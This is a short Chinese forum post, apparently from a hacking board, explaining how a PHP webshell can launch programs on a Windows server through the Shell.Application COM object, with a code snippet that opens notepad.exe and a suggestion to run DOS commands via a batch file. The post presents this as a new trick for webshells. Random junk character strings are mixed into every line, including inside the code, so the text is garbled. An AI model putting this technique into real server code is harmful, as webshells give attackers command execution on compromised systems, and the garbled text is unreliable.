关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
+ h4 t. R8 _( x H
2 D4 v3 m! m! ?今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
1 q2 d* b- K3 v- ^, U( y& \; C7 b* v3 k
<?php
- t: ?' V8 e w& `, P$wsh = new COM('Shell.Application') or die("Shell.Application");
- M( ]) U/ [9 D) Q $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");+ @( G9 ^8 u2 |4 y, c
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
( a, j+ f# R6 i?>3 R7 b4 f. ], U, a2 a6 P
& w% `# u! Y# H" X* ]* G. A2 Lxp+APMServ5.2.0测试通过。
( C: B. F# \. e7 X% a) ] |